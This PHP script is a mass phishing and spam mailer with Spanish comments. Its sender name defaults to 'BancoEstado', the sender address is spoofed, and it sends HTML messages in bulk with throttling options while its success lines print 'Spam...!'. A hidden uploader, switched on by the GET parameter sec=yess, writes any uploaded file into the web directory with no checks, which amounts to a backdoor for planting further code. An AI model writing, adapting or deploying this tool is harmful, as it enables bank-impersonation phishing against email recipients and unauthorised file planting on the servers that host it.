<?php
@set_time_limit(0);

// Inicialización de variables para evitar avisos de PHP
$de = "noreply@publimailer.com";
$nombre = "BancoEstado";
$subject = $_SERVER["HTTP_HOST"] ?? 'Sin asunto';
$message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>";
$ellos = "piwinet2018@hotmail.com";

if (isset($_POST['Enoc'])) {
    $message = $_POST['html'] ?? '';
    $subject = $_POST['assunto'] ?? '';
    $de = $_POST['de'] ?? '';
    $nombre = $_POST['RealName'] ?? '';
    $ellos = $_POST['ellos'] ?? '';

    // Limpieza de barras invertidas de forma moderna
    $message = stripslashes($message);
}
?>
<html>
<head>
    <title>Mailer_2021-Piwin3tRlZ</title>
</head>
<body style="font-family: Arial; font-size: 11px">
<center>
<form action="" method="post" enctype="multipart/form-data" name="form1">
<br>
<table width="534" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC" class="normal"> 
<tr>
<td>
<table border="0" bgcolor="#FFFFFF" width="95%">
<tr>
<td>
<table border="0" width="100%">
<tr>
<td width="359">Email: <input name="de" type="text" class="form" id="de" size="30" value="<?php echo htmlspecialchars($de, ENT_QUOTES, 'UTF-8'); ?>"></td>
<td>Nombre: <input name="RealName" type="text" class="form" id="RealName" size="30" value="<?php echo htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8'); ?>"></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>Asunto: <input name="assunto" type="text" class="form" id="assunto" size="78" value="<?php echo htmlspecialchars($subject, ENT_QUOTES, 'UTF-8'); ?>"></td>
</tr>
<tr>
<td height="18" bgcolor="#C0C0C0"></td>
</tr>
<tr>
<td>
<table border="0" width="100%">
<tr>
<td>
<textarea name="html" cols="66" rows="10" id="html"><?php echo htmlspecialchars($message, ENT_QUOTES, 'UTF-8'); ?></textarea></td>
<td><textarea rows="10" name="ellos" cols="35"><?php echo htmlspecialchars($ellos, ENT_QUOTES, 'UTF-8'); ?></textarea></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<center><br><input type="submit" name="Enoc" value="Enviar"></center><br>
<?php
// Sección de subida de archivos (Uploader)
if (isset($_GET['sec']) && $_GET['sec'] === 'yess') {
    echo '<form action="" method="post" enctype="multipart/form-data">
        <input name="archivo" type="file" size="35" />
        <input name="enviar" type="submit" value="Upload File" />
        <input name="action" type="hidden" value="upload" />     
    </form>';

    $status = "";
    if (isset($_POST["action"]) && $_POST["action"] === "upload") {
        $archivo = $_FILES["archivo"]['name'] ?? '';
         
        if ($archivo !== "") {
            // Reemplazo de copy() por move_uploaded_file() por seguridad estándar de PHP
            if (move_uploaded_file($_FILES['archivo']['tmp_name'], "./" . $archivo)) {
                $status = "Archivo subido: <b>" . htmlspecialchars($archivo, ENT_QUOTES, 'UTF-8') . "</b>";
            } else {
                $status = "Error al subir el archivo";
            }
        } else {
            $status = "Error al subir archivo";
        }
        echo $status;
    }
}

if (!isset($_POST['Enoc'])) {
    // Cerramos las etiquetas HTML abiertas antes de salir abruptamente
    echo '</td></tr></table></td></tr></table></form></center></body></html>';
    exit;
}

// Separación de destinatarios
if (!isset($_GET['c'])) {
    $emails = explode("\n", $ellos);
} else {
    $emails = explode(",", $ellos);
}

$son = count($emails);

// Construcción de cabeceras compatibles (PHP usa \r\n como estándar)
if (!isset($_GET['e'])) {
    $header = "MIME-Version: 1.0\r\n";
    $header .= "Content-type: text/html; charset=iso-8859-1\r\n";
    $header .= "From: " . $nombre . " <" . $de . ">\r\n";
    $header .= "Reply-To: " . $de . "\r\n";
    $header .= "X-Priority: 3\r\n";
    $header .= "X-MSMail-Priority: Normal\r\n";
    $header .= "X-Mailer: " . $_SERVER["HTTP_HOST"] . "\r\n";
} else {
    $header = "MIME-Version: 1.0\r\n";
    $header .= "Content-type: text/html\r\n";
    $header .= "From: " . $de . "\r\n";
}

$i = 0;
$voy = 1;

foreach ($emails as $email) {
    $mail = trim($email);
    if (empty($mail)) {
        continue;
    }

    // Control de ráfagas y tiempos de espera
    if (isset($_GET['time'], $_GET['cant'], $_GET['notf'])) {
        $cant = (int)$_GET['cant'];
        if ($cant > 0 && fmod($i, $cant) == 0 && $i > 0) {
            print "----------------------------------> wait " . htmlspecialchars($_GET['time'], ENT_QUOTES, 'UTF-8') . " Segs. Sending to " . htmlspecialchars($_GET['notf'], ENT_QUOTES, 'UTF-8') . "...<br>\n";
            flush();
            @mail($_GET['notf'], $subject, $message, $header);
            sleep((int)$_GET['time']);
        }
    }

    $message1 = str_replace('%email%', $mail, $message);
	
    if (@mail($mail, $subject, $message1, $header)) {
        print "<font color=blue face=verdana size=1>    " . $voy . " de " . $son . "  ;-) " . htmlspecialchars($mail, ENT_QUOTES, 'UTF-8') . "  Spam...!</font><br>\n";
        flush();
    } else {
        print "<font color=red face=verdana size=1>    " . $voy . " de " . $son . " :-( " . htmlspecialchars($mail, ENT_QUOTES, 'UTF-8') . "  Error de envio!!</font><br>\n";
        flush();
    }                                                             
    $i++;
    $voy++;
}
echo "<script> alert('---Todos Terminados---'); </script>";
?>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
</center>
</body>
</html>
